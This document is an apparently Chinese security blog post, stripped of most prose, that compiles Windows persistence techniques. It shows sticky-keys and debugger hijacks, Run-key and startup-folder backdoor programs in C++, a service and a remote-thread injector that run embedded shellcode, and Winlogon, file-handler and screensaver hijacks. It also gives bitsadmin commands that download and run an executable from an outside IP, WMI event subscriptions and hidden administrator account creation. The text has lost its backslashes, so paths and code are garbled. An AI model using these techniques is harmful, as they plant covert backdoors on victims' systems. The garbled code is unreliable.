干货 | 最全Windows权限维持总结

屏幕键盘：C:WindowsSystem32osk.exe放大镜：C:WindowsSystem32Magnify.exe旁白：C:WindowsSystem32Narrator.exe显示切换器 C:WindowsSystem32DisplaySwitch.exe应用切换器：C:WindowsSystem32AtBroker.exe

copy c:windowssystem32sethc.ex c:windowssystem32sethc1.execopy c:windowssystem32cmd.exe c:windowssystem32sethc.exe

reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsiexplore.exe" /v "Debugger" /t REG_SZ /d "c:windowssystem32cmd.exe" /f

C:UsersSDAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser   Shell FoldersHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerShell   FoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerShell   FoldersHKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerUser   Shell Folders

#include <iostream>#include <windows.h>

#include   <shlobj.h>#pragma   comment(lib, "shell32.lib")

BOOL AutoRun_Startup(CHAR* lpszSrcFilePath, CHAR* lpszDestFileName){BOOL ret = false;CHAR szStartPath[MAX_PATH] = { 0 };CHAR szDestFilePath[MAX_PATH] = { 0 };//返回快速启动目录路径到szStartPathret = ::SHGetSpecialFolderPathA(NULL, szStartPath,CSIDL_STARTUP,TRUE);//判断是否获取成功if (ret == TRUE){printf("[+]Get the quick start directory successfully！n");}else{printf("[!]Get the quick start directory faild！n");return FALSE;}//构造文件在快速启动目录下的路径::wsprintfA(szDestFilePath,"%s\%s",szStartPath,lpszDestFileName);//复制文件到快速启动目录下ret = ::CopyFileA(lpszSrcFilePath, szDestFilePath, FALSE);if (FALSE == ret){printf("[!]Failed to save the file in the quick start directory.n");return FALSE;}else{printf("[!]Successfully to save the file in the quick start directory.n");}printf("[+]Backdoor generation in quick start directory successful!n");return TRUE;}int main(int argc, char* argv[]){printf("[*]Useage:n    %s %s %sn", "Run_StartUp.exe", "E:\010Editor\010 Editor\010Editor.exe", "010Editor.exe");if (argc == 3){AutoRun_Startup(argv[1], argv[2]);}else{printf("[!]Please check the number of your parametersn");}}

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnceHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunHKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce

#include <iostream>#include <windows.h>

BOOL Reg_CurrentUser(const char* lpszFileName,const char* lpszValueName){//定义一个注册表句柄HKEY hKey;//打开注册表键if (ERROR_SUCCESS == ::RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE, &hKey)){printf("[+] Open RegKey Successfullyn");}else{printf("[!] Open RegKey Errorn");return FALSE;}

if (ERROR_SUCCESS == ::RegSetValueExA(hKey, lpszValueName, 0, REG_SZ, (BYTE*)lpszFileName, (1 + ::lstrlenA(lpszFileName)))){printf("[+] Set Value Successfullyn");}else{::RegCloseKey(hKey);printf("[!] Set Value Errorn");return FALSE;}printf("[+] The registry backdoor about HKEY_CURRENT_USER is generated successfullyn");::RegCloseKey(hKey);return TRUE;}

int main(int argc, char* argv[]){printf("[*]Useage:n    %s %s %sn","ModifyReg.exe","E:\010Editor\010 Editor\010Editor.exe", "010Editor");if (argc == 3){Reg_CurrentUser(argv[1], argv[2]);}else{printf("[!]Please check the number of your parametersn");}}

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun   /v "123" /t REG_SZ /d "C:WindowsSystem32cmd.exe" /f

sc create "SD" binpath=   "C:UsersSDDesktoptest.exe"sc description "SD"   "description" 设置服务的描述字符串sc config "SD"   start= auto  设置这个服务为自动启动net start "SD"   启动服务

#include <windows.h>#include <iostream>

unsigned char buf[] ="xfcxe8x89x00x00...............................................x36x38x2ex31x2ex31x30x36x00x12x34x56x78";

#define SLEEP_TIME 5000                          /*间隔时间*/#define LOGFILE "C:\Windows\log1.txt"              /*信息输出文件*/

SERVICE_STATUS ServiceStatus;  /*服务状态*/SERVICE_STATUS_HANDLE hStatus; /*服务状态句柄*/

void  ServiceMain(int argc, char** argv);void  CtrlHandler(DWORD request);int   InitService();

int main(int argc, CHAR* argv[]){WCHAR WserviceName[] = TEXT("sddd");SERVICE_TABLE_ENTRY ServiceTable[2];ServiceTable[0].lpServiceName = WserviceName;ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;ServiceTable[1].lpServiceName = NULL;ServiceTable[1].lpServiceProc = NULL;StartServiceCtrlDispatcher(ServiceTable);

return 0;}

int WriteToLog(const char* str){FILE* pfile;fopen_s(&pfile, LOGFILE, "a+");if (pfile == NULL){return -1;}fprintf_s(pfile, "%sn", str);fclose(pfile);

return 0;}

/*Service initialization*/int InitService(){CHAR Message[] = "Monitoring started.";OutputDebugString(TEXT("Monitoring started."));int result;result = WriteToLog(Message);

return(result);}

/*Control Handler*/void CtrlHandler(DWORD request){switch (request){case SERVICE_CONTROL_STOP:

WriteToLog("Monitoring stopped.");ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;case SERVICE_CONTROL_SHUTDOWN:WriteToLog("Monitoring stopped.");

ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus(hStatus, &ServiceStatus);return;default:break;}/* Report current status  */SetServiceStatus(hStatus, &ServiceStatus);return;}

void ServiceMain(int argc, char** argv){WCHAR WserviceName[] = TEXT("sddd");int error;ServiceStatus.dwServiceType =SERVICE_WIN32;ServiceStatus.dwCurrentState =SERVICE_START_PENDING;/*在本例中只接受系统关机和停止服务两种控制命令*/ServiceStatus.dwControlsAccepted =SERVICE_ACCEPT_SHUTDOWN |SERVICE_ACCEPT_STOP;ServiceStatus.dwWin32ExitCode = 0;ServiceStatus.dwServiceSpecificExitCode = 0;ServiceStatus.dwCheckPoint = 0;ServiceStatus.dwWaitHint = 0;hStatus = ::RegisterServiceCtrlHandler(WserviceName,(LPHANDLER_FUNCTION)CtrlHandler);if (hStatus == (SERVICE_STATUS_HANDLE)0){

WriteToLog("RegisterServiceCtrlHandler failed");return;}WriteToLog("RegisterServiceCtrlHandler success");/* Initialize Service   */error = InitService();if (error){/* Initialization failed  */ServiceStatus.dwCurrentState =SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus, &ServiceStatus);return;}

LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, buf, sizeof(buf));((void(*)())Memory)();

/*向SCM 报告运行状态*/ServiceStatus.dwCurrentState =SERVICE_RUNNING;SetServiceStatus(hStatus, &ServiceStatus);

/*do something you want to do in this while loop*/MEMORYSTATUS memstatus;while (ServiceStatus.dwCurrentState ==SERVICE_RUNNING){char buffer[16];GlobalMemoryStatus(&memstatus);int availmb = memstatus.dwAvailPhys / 1024 / 1024;sprintf_s(buffer, 100, "available memory is %dMB", availmb);int result = WriteToLog(buffer);if (result){ServiceStatus.dwCurrentState = SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = -1;SetServiceStatus(hStatus,&ServiceStatus);return;}Sleep(SLEEP_TIME);}WriteToLog("service stopped");return;}

sc delete "SD"

schtasks /create /sc minute /mo 5   /tn "sd" /tr C:WindowsSystem32cmd.exe

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerExcludeFromKnownDlls

HKLMSoftwareMicrosoftWindowsNTCurrentVersionWinlogonHKCUSoftwareMicrosoftWindows NTCurrentVersionWinlogon

reg delete "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /f

reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"  /v "Userinit" /t REG_SZ /d "C:Windowssystem32cmd.exe," /f

Set-ItemProperty   "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name   Userinit -value "C:Windowssystem32userinit.exe,C:Windowssystem32cmd.exe"

HKEY_CURRENT_USEREnvironment

reg add "HKCRtxtfileshellopencommand" /ve /t REG_EXPAND_SZ /d "C:Windowssystem32cmd.exe %1" /f

.bitsadmin.exe /transfer backdoor /download /priority high "http://192.168.1.106/CM.EXE" C:1.exe

bitsadmin /create backdoorbitsadmin /addfile backdoor "http://192.168.1.106/CM.EXE"  "C:1.exe"bitsadmin /SetNotifyCmdLine backdoorC:1.exe NULbitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor

DWORD CeatRemoThread(DWORD pid){HANDLE hThread;DWORD dwOldProtect;DWORD dwThreadId;int shellcode_size = sizeof(buf);//混淆char* newBuf;

decrypt(buf, shellcode_size, (LPVOID*)&newBuf);

HANDLE hHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid);if (hHandle == NULL){printf("openprocessError");free(newBuf);return FALSE;}LPVOID Memory = VirtualAllocEx(hHandle, NULL, sizeof(newBuf) + 1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

SIZE_T dwSize = 0;WriteProcessMemory(hHandle, Memory, newBuf, shellcode_size / 3, &dwSize);//Sleep(3000);VirtualProtectEx(hHandle, Memory, shellcode_size / 3, PAGE_EXECUTE, &dwOldProtect);



HMODULE hNtdll = LoadLibrary(L"ntdll.dll");if (hNtdll == NULL){printf("[!] LoadNTdll Error,Error is:%dn", GetLastError());return FALSE;}else{printf("[*] Load ntdll.dll Successfully!n");}#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");

if (ZwCreateThreadEx == NULL){printf("[!] Get ZwCreateThreadEx Address Error,Error is:%dn", GetLastError());return FALSE;}else{printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %xn", ZwCreateThreadEx);}HANDLE hRemoteThread = NULL;DWORD ZwRet = 0;ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hHandle,(LPTHREAD_START_ROUTINE)Memory, NULL, 0, 0, 0, 0, NULL);

if (hRemoteThread == NULL){printf("[!] Creat RemoteThread Error,Error is:%dn", GetLastError());getchar();VirtualFreeEx(hHandle, Memory, 0, MEM_RELEASE);CloseHandle(hHandle);FreeLibrary(hNtdll);return FALSE;}WaitForSingleObject(hRemoteThread, INFINITE);

return TRUE;}

HKEY_CURRENT_USERControl PanelDesktop

reg add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /d C:WindowsSystem32cmd.exe

https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html

$filterName = 'SD'$consumerName = 'SDD'$exePath = 'C:WindowsSystem32cmd.exe'$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "rootsubscription" -Arguments @{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "rootsubscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "rootsubscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

net user test$ 123456 /addnet localgroup administrators test$ /add

net user test$ /del

regedit /s 1.regregedit /s 2.reg